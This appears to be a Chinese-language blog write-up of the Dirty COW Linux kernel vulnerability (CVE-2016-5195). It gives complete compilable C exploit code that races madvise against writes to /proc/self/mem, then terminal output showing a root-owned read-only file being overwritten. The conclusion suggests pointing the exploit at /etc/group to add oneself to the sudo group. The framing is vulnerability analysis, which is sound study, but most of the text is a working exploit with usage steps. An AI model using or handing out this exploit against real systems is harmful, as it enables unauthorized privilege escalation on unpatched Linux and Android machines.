漏洞描述

描述引用來源：https://github.com/dirtycow
A race condition was found in the way the Linux kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings.

Linux核心的記憶體子系統在處理copy-on-write（COW）時出現競爭條件，導致私有隻讀儲存器對映被破壞。

The bug has existed since around 2.6.22 (released in 2007) and was fixed on Oct 18, 2016. List of patched versions

here

這個bug自Linux 2.6.22(釋出於 2007 年)存在至今，並於2016年10月18日被修復。點選這裡檢視已釋出補丁的Linux版本。

Linux核心的記憶體子系統在處理copy-on-write（COW）時出現競爭條件，導致私有隻讀儲存器對映被破壞，可利用此漏洞非法獲得讀寫許可權，進而提升許可權。

漏洞檢測方法

/* 
 * author  : http://www.ichunqiu.com/course/56009 
 * title   : 實驗1 CVE-2016-5195（髒牛）核心提權漏洞分析 
 * modify  : 天蒼野茫 
 * fileName: dirtycow.c
 * build   : gcc -pthread dirtycow.c -o dirtycow
 */
 

#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;
int bSuccess = 0;

void *madviseThread(void *arg)
{
    char
 
 *str;
    str = (char *)arg;
    int f = open(str, O_RDONLY);
    int i = 0, c = 0;
    char buffer1[1024], buffer2[1024];
    int size;
    lseek(f, 0, SEEK_SET);
    size = read(f, buffer1, sizeof(buffer1));
    while(i < 100000000)
    {
        c += madvise(map, 100, MADV_DONTNEED);
        lseek(f, 0, SEEK_SET);
        size = read(f, buffer2, sizeof(buffer2));
        if(size > 0 && strcmp(buffer1, buffer2))
        {
            printf("Hack success!\n\n");
            bSuccess = 1;
            break;
        }
        i++;
    }
    close(f);
    printf("madvise %d\n\n", c);
}

void *procselfmemThread(void *arg)
{
    char *str;
    str = (char *)arg;

    int f = open("/proc/self/mem", O_RDWR);
    int i = 0, c = 0;
    while(i < 100000000 && !bSuccess)
    {
        lseek(f, (uintptr_t)map, SEEK_SET);
        c += write(f, str, strlen(str));
        i++;
    }
    close(f);
    printf("procselfmem %d \n\n", c);    
}

int main(int argc, char *argv[])
{
    if(argc < 3)
    {
        (void)fprintf(stderr, "%s\n", "usage: dirtycow target_file new_content");
        return 1;
    }
    pthread_t pth1, pth2;

    f = open(argv[1], O_RDONLY);
    fstat(f, &st);
    name = argv[1];

    map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
    printf("mmap %zx\n\n", (uintptr_t)map);

    pthread_create(&pth1, NULL, madviseThread, argv[1]);
    pthread_create(&pth2, NULL, procselfmemThread, argv[2]);

    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);

    close(f);

    return 0;
}

漏洞檢測結果

平臺資訊

tiancangyemang@ubuntu:~$ uname -a
Linux ubuntu 3.13.0-96-generic #143-Ubuntu SMP Mon Aug 29 20:15:20 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

tiancangyemang@ubuntu:~$ gcc --version
gcc (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4
Copyright (C) 2013 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

測試過程

編譯

tiancangyemang@ubuntu:~$ gcc -pthread dirtycow.c -o dirtycow

準備測試目標

tiancangyemang@ubuntu:~$ echo ABCDEFGHIJKLMN > target.txt
tiancangyemang@ubuntu:~$ cat target.txt 
ABCDEFGHIJKLMN
tiancangyemang@ubuntu:~$ chmod 644 target.txt
tiancangyemang@ubuntu:~$ sudo chown root:root target.txt
[sudo] password for tiancangyemang:

tiancangyemang@ubuntu:~$ ls -l target.txt
-rw-r--r-- 1 root root 15 10月 30 13:14 target.txt

開始測試

tiancangyemang@ubuntu:~$ cat target.txt 
ABCDEFGHIJKLMN
tiancangyemang@ubuntu:~$ ./dirtycow target.txt 1234567890
mmap 7fa185de3000

Hack success!

procselfmem 52150 

madvise 0

tiancangyemang@ubuntu:~$ ls -l target.txt 
-rw-r--r-- 1 root root 15 10月 30 13:14 target.txt

tiancangyemang@ubuntu:~$ cat target.txt 
1234567890KLMN

結論

• 由上面的測試資料可知，只要有對target.txt的可讀許可權，就可以利用Dirty COW漏洞獲得讀寫許可權！
• 若把目標從target.txt改成/etc/group，將自己加入sudo組，你懂的~

補充

Dirty COW漏洞是一個遠古時期的漏洞(2007年，Linux 2.6.22)，影響版本廣泛，現在市面上絕大部分 Android 手機的 Linux 版本都大於2.6.22，換言之，目前市面上絕大部分 Android 手機均面臨Dirty COW漏洞的威脅！